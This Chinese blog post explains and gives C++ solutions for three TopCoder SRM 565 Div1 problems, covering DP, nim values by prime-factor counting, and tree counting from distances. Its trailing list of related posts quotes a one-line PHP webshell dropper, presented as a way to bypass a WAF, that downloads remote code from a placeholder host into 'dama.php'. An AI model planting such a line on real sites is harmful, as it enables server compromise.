problem1 link

$f[i][j]$表示经过前$i$个怪物之后,花费$j$个硬币可以得到的最大值。

problem2 link

设$nim[i]$表示数字$i$的nim值。那么题目就是求有多少个区间$[L,R]$满足这个区间内所有数字的nim值的抑或不是0.通过记录前缀和的个数,可以$O(n)$计算得到。现在问题是计算每个值的nim值。

可以用数学归纳法证明$i$的nim值等于$i$中的质因子的个数,比如$nim[6]=2,nim[12]=3$等。所以对于给出的的区间$[L,R]$,只需要枚举$\sqrt{R}$之内的质数,判断$[L,R]$内哪些数字的质因子有该质数。

假设需要考虑的所有质数为$p_{1},p_{2},...,p_{m},n=R-L+1$,那么复杂度为$\sum_{i=1}^{m}\frac{n}{p_{i}}$

problem3 link

(1)首先考虑只有一个特殊点$A$,假设$A$为树根,那么只需要为每个点找到一个父节点即可,对于节点$i$来说,如果$j$满足$dist[i]<dist[j]$,那么$j$可以作为$i$的父节点。所以如果令$f[i]$表示可以作为$i$的父节点的节点数,那么答案为$\prod_{i=1}^{n}(1+f(i))$

(2)考虑有两个特殊点$A,B$,假设$B$为树根,令$i$为$AB$之间距离$B$最近的节点($i$有可能就是A),那么将从$i$开始以及A的子节点这些都叫做$A$分支,其他的除了$B$以外的节点都叫做其他分支。令$AB$之间的长度为$p$.那么一个节点$j$满足$dist[A]-dist[B]=p$时,它就在其他分支上,否则就在A分支上。那么其他分支其实就是一个特殊点的问题,而A分支可以看做$i$节点是新的$B$的两个特殊点的问题。

(3)现在考虑三个特殊点$ABC$。分两种情况:第一,存在一个节点$i$使得ABC在以$i$为根的三个分支上。现在所有除了$i$以外的点,要么在A,B,C中的一个分支上,要么在之外的分支上。比如,如果一个点$j$满足$A[j]-A[i]=B[j]-B[i]=C[j]-C[i]$,那么它就在其他分支上,如果$A[j]-A[i]=B[j]-B[i]\neq C[j]-C[i]$,那么它就在C分支上。这样其他分支上就是一个特殊点的问题,而A分支,B分支,C分支就是三个两个特殊点的问题($i$是两个特殊点问题中的$B$); 第二,如果ABC是一条链上的三个点,假设B在中间,那么现在B作为树根,每个节点要么在A分支,要么在C分支,要么在其他分支。这里需要首先确定AB和BC的长度,这里可以枚举节点$i$在其他分支,AB中间,BC之间,A分支上但是不是AB之间等情况来确定AB和BC的长度,这样就又转化成一个特殊点和两个特殊点的问题。

code for problem1

#include <vector>

class MonstersValley {
public:
int minimumPrice(std::vector<long long> dread, std::vector<int> price) {
const int n = static_cast<int>(dread.size());
std::vector<std::vector<long long>> f(
n + 1, std::vector<long long>(n * 2 + 1, -1));
f[0][0] = 0;
for (int i = 1; i <= n; ++i) {
long long t = dread[i - 1];
int c = price[i - 1];
for (int j = 0; j <= 2 * i; ++j) {
if (f[i - 1][j] != -1) {
f[i][j + c] = std::max(f[i][j + c], f[i - 1][j] + t);
if (f[i - 1][j] >= t) {
f[i][j] = std::max(f[i][j], f[i - 1][j]);
}
}
}
}
for (int i = 0; i <= n * 2; ++i) {
if (f[n][i] != -1) {
return i;
}
}
return 0;
}
};

code for problem2

#include <chrono>
#include <cmath>
#include <iostream>
#include <vector> class TheDivisionGame {
public:
long long countWinningIntervals(int L, int R) {
std::vector<int> prime = ComputePrime(static_cast<int>(std::sqrt(R)) + 1);
int n = R - L + 1;
std::vector<int> value(n);
std::vector<int> nim(n, 0);
for (int i = 0; i < n; ++i) {
value[i] = i + L;
}
for (size_t i = 0; i < prime.size() && prime[i] * prime[i] <= R; ++i) {
int s = L;
if (L % prime[i] != 0) {
s += prime[i] - L % prime[i];
}
while (s <= R) {
while (value[s - L] % prime[i] == 0) {
value[s - L] /= prime[i];
nim[s - L] += 1;
}
s += prime[i];
}
}
for (int i = 0; i < n; ++i) {
if (value[i] != 1) {
++nim[i];
}
}
std::vector<int> num(32, 0);
num[0] = 1;
long long result = 0;
for (int i = 0, prefix = 0; i < n; ++i) {
prefix ^= nim[i];
result += i + 1 - num[prefix];
num[prefix] += 1;
}
return result;
} private:
std::vector<int> ComputePrime(int M) {
std::vector<int> prime;
std::vector<bool> tag(M + 1, false);
for (int i = 2; i <= M; ++i) {
if (!tag[i]) {
prime.push_back(i);
}
for (size_t j = 0; j < prime.size() && prime[j] * i <= M; ++j) {
tag[prime[j] * i] = true;
if (i % prime[j] == 0) {
break;
}
}
}
return prime;
}
};

code for problem3

#include <algorithm>
#include <iostream>
#include <set>
#include <vector> class UnknownTree {
static constexpr int mod = 1000000009; public:
int getCount(std::vector<int> distancesA, std::vector<int> distancesB,
std::vector<int> distancesC) {
int result = 0;
for (int i = 0; i < static_cast<int>(distancesA.size()); ++i) {
Add(result, Compute(i, distancesA, distancesB, distancesC));
}
Add(result, ComputeLine(distancesA, distancesB, distancesC));
Add(result, ComputeLine(distancesB, distancesA, distancesC));
Add(result, ComputeLine(distancesA, distancesC, distancesB));
return result;
} private:
void Add(int &x, int y) {
x += y;
if (x >= mod) {
x -= mod;
}
} int Compute(int root, const std::vector<int> &A, const std::vector<int> &B,
const std::vector<int> &C) {
std::vector<int> other, set_a, set_b, set_c;
std::vector<int> set_a_root, set_b_root, set_c_root;
int n = static_cast<int>(A.size());
for (int i = 0; i < n; ++i) {
if (i != root) {
int da = A[i] - A[root];
int db = B[i] - B[root];
int dc = C[i] - C[root];
if (da > 0 && da == db && da == dc) {
other.push_back(da);
} else if (da > 0 && da == db) {
set_c.push_back(C[i]);
set_c_root.push_back(da);
} else if (da > 0 && da == dc) {
set_b.push_back(B[i]);
set_b_root.push_back(da);
} else if (db > 0 && db == dc) {
set_a.push_back(A[i]);
set_a_root.push_back(db);
} else {
return 0;
}
}
}
long long result = SolveCase1(other);
result = result * SolveCase2(A[root], set_a_root, set_a) % mod;
result = result * SolveCase2(B[root], set_b_root, set_b) % mod;
result = result * SolveCase2(C[root], set_c_root, set_c) % mod;
return static_cast<int>(result);
} int ComputeLine(const std::vector<int> &A, const std::vector<int> &B,
const std::vector<int> &C) {
std::set<std::pair<int, int>> all;
auto Insert = [&](int ab, int bc) {
if (ab > 0 && bc > 0) {
all.insert({ab, bc});
}
};
int n = static_cast<int>(A.size());
for (int i = 0; i < n; ++i) {
Insert(A[i] - B[i], C[i] - B[i]);
Insert(A[i] + B[i], C[i] - B[i]);
Insert(B[i] - A[i], C[i] - B[i]);
Insert(A[i] - B[i], B[i] + C[i]);
Insert(A[i] - B[i], B[i] - C[i]);
}
int result = 0;
for (auto &e : all) {
Add(result, ComputeLine(e.first, e.second, A, B, C));
}
return result;
} int ComputeLine(int ab, int bc, const std::vector<int> &A,
const std::vector<int> &B, const std::vector<int> &C) {
int n = static_cast<int>(A.size());
std::vector<int> other, set_a, set_c;
std::vector<int> set_a_b, set_c_b;
for (int i = 0; i < n; ++i) {
if (A[i] - B[i] == ab && C[i] - B[i] == bc) {
other.push_back(B[i]);
} else if (A[i] - B[i] == ab && OnLater(bc, B[i], C[i])) {
set_c.push_back(C[i]);
set_c_b.push_back(B[i]);
} else if (C[i] - B[i] == bc && OnLater(ab, B[i], A[i])) {
set_a.push_back(A[i]);
set_a_b.push_back(B[i]);
} else {
return 0;
}
}
long long result = SolveCase1(other);
result = result * SolveCase2(ab, set_a_b, set_a) % mod;
result = result * SolveCase2(bc, set_c_b, set_c) % mod;
return static_cast<int>(result);
} bool OnLater(int d, int da, int db) {
return (da + db == d) || (da - db == d) || (d > 1 && da + db > d);
} int SolveCase1(const std::vector<int> &d) {
int n = static_cast<int>(d.size());
long long result = 1;
for (int i = 0; i < n; ++i) {
int t = 1;
for (int j = 0; j < n; ++j) {
if (j != i && d[j] < d[i]) {
++t;
}
}
result = result * t % mod;
}
return static_cast<int>(result);
}
int SolveCase2(int ab, const std::vector<int> &B, std::vector<int> &A) {
int n = static_cast<int>(B.size());
if (n == 0) {
return 1;
}
std::vector<int> set_b, set_a_middle, set_a_other;
int middle_branch = 0;
for (int i = 0; i < n; ++i) {
if (B[i] + ab == A[i]) {
set_b.push_back(B[i]);
} else {
if (B[i] + A[i] < ab) {
return 0;
} else if (B[i] + A[i] == ab) {
set_a_middle.push_back(B[i]);
} else if (B[i] - A[i] == ab) {
set_a_other.push_back(A[i]);
} else if (B[i] + A[i] > ab) {
++middle_branch;
} else {
return 0;
}
}
}
long long result = SolveCase1(set_b);
if (set_a_middle.size() == 0) {
if (middle_branch != 0) {
return 0;
}
result = result * SolveCase1(set_a_other) % mod;
return static_cast<int>(result);
}
std::sort(set_a_middle.begin(), set_a_middle.end());
int m = static_cast<int>(set_a_middle.size());
for (int i = 0; i + 1 < m; ++i) {
if (set_a_middle[i] == set_a_middle[i + 1]) {
return 0;
}
}
int delta = set_a_middle[0];
if (delta >= ab) {
return 0;
}
std::vector<int> d_set_a, d_set_b;
for (int i = 0; i < n; ++i) {
if (B[i] + ab != A[i]) {
if (B[i] + A[i] == ab) {
if (B[i] != delta) {
d_set_b.push_back(B[i] - delta);
d_set_a.push_back(A[i]);
}
} else {
if (B[i] <= delta) {
return 0;
}
d_set_b.push_back(B[i] - delta);
d_set_a.push_back(A[i]);
}
}
}
result = result * SolveCase2(ab - delta, d_set_b, d_set_a) % mod;
return static_cast<int>(result);
}
};

  

topcoder srm 565 div1的更多相关文章

  1. Topcoder SRM 643 Div1 250<peter_pan>

    Topcoder SRM 643 Div1 250 Problem 给一个整数N,再给一个vector<long long>v; N可以表示成若干个素数的乘积,N=p0*p1*p2*... ...

  2. Topcoder Srm 726 Div1 Hard

    Topcoder Srm 726 Div1 Hard 解题思路: 问题可以看做一个二分图,左边一个点向右边一段区间连边,匹配了左边一个点就能获得对应的权值,最大化所得到的权值的和. 然后可以证明一个结 ...

  3. topcoder srm 714 div1

    problem1 link 倒着想.每次添加一个右括号再添加一个左括号,直到还原.那么每次的右括号的选择范围为当前左括号后面的右括号减去后面已经使用的右括号. problem2 link 令$h(x) ...

  4. topcoder srm 738 div1 FindThePerfectTriangle(枚举)

    Problem Statement      You are given the ints perimeter and area. Your task is to find a triangle wi ...

  5. Topcoder SRM 602 div1题解

    打卡- Easy(250pts): 题目大意:rating2200及以上和2200以下的颜色是不一样的(我就是属于那个颜色比较菜的),有个人初始rating为X,然后每一场比赛他的rating如果增加 ...

  6. Topcoder SRM 627 div1 HappyLettersDiv1 : 字符串

    Problem Statement      The Happy Letter game is played as follows: At the beginning, several players ...

  7. Topcoder SRM 584 DIV1 600

    思路太繁琐了 ,实在不想解释了 代码: #include<iostream> #include<cstdio> #include<string> #include& ...

  8. TopCoder SRM 605 DIV1

    604的题解还没有写出来呢.先上605的. 代码去practice房间找. 说思路. A: 贪心,对于每个类型的正值求和,如果没有正值就取最大值,按着求出的值排序,枚举选多少个类型. B: 很明显是d ...

  9. topcoder srm 575 div1

    problem1 link 如果$k$是先手必胜那么$f(k)=1$否则$f(k)=0$ 通过对前面小的数字的计算可以发现:(1)$f(2k+1)=0$,(2)$f(2^{2k+1})=0$,(3)其 ...

随机推荐

  1. poj 3525

    多边形内最大半径圆. 哇没有枉费了我自闭了这么些天,大概五天前我看到这种题可能毫无思路抓耳挠腮举手投降什么的,现在已经能1A了哇. 还是先玩一会计算几何,刷个几百道 嗯这个半平面交+二分就阔以解决.虽 ...

  2. 远程下载马bypass waf

    <?php file_put_contents('dama.php',file_get_contents('http://xxx/xx.txt'));?> php这个函数不算冷门 第一个参 ...

  3. 伪分布式hadoop启动后jps查不到namenode的解决办法

    启动过程没有发现错误,但是jps查看进程时,发现少了NameNode,而DataNode却存在: 原因: 是端口9000已经被占用,解决办法有两个, 第一种:查找占用端口的进程,kill掉它. had ...

  4. 网络爬虫基础知识(Python实现)

    浏览器的请求 url=请求协议(http/https)+网站域名+资源路径+参数 http:超文本传输协议(以明文的形式进行传输),传输效率高,但不安全. https:由http+ssl(安全套接子层 ...

  5. 补充:MySQL经典45道题型

    一.            设有一数据库,包括四个表:学生表(Student).课程表(Course).成绩表(Score)以及教师信息表(Teacher). 四个表的结构分别如表1-1的表(一)~表 ...

  6. PAT甲级1141 Ranking of Institutions

    题目:https://pintia.cn/problem-sets/994805342720868352/problems/994805344222429184 题意: 给定几个学生的PAT分数和学校 ...

  7. python-----编写接口,使用postman与soapiu与jemeter访问调用

    实例:自己写一个注册接口 输入用户名.密码.验证码,当满足注册将密码进行md5加密. 场景 接口返回参数 提示 用户名存在 2000 exit 用户已存在 密码与验证码不相等 3000 wrong 密 ...

  8. webpack项目搭建

    1.新建一个文件目录,命令行进入当前目录,输入npm init 创建package.json文件 2.安装项目依赖webpack模块: npm install webpack --save-dev 3 ...

  9. 记一次mysql事故---纪念逝去的一上午

    虚拟机关机后第二天mysql起不来,回想一下我关机前和关机后的操作发现:关机前没关闭mysqld服务就直接init 0了,关机后将虚拟机内存由1G降到724M.笔者保证再也做过别的骚操作了. -- : ...

  10. 利用StateListDrawable给button动态设置背景

    项目中,遇到相同样式的Button,只是stroke颜色不一样.为了实现一个,就得写两个shape文件,一个selector文件:多个还得重复写. 解决方法: 结合StateListDrawable给 ...